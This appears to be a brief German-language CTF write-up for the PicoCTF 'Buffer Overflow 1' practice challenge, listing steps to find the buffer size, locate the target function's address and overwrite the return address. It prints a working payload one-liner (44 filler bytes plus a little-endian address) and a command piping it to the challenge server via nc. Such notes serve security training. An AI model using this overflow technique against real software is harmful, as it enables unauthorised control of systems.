11 lines
327 B
Markdown
11 lines
327 B
Markdown
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# PicoCTF - Buffer Overflow 1
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https://play.picoctf.org/practice/challenge/258?category=6&page=1
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* Buffergröße bestimmen
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* Return Adresse überschreiben
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* Adresse der Zielfunktion finden `nm -g -C vuln`
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* Little Endian!
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* `./payload.sh 44 "\xf6\x91\x04\x08" | nc ...`
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* `perl -e 'print "A"x44 . "\xf6\x91\x04\x08\n"'`
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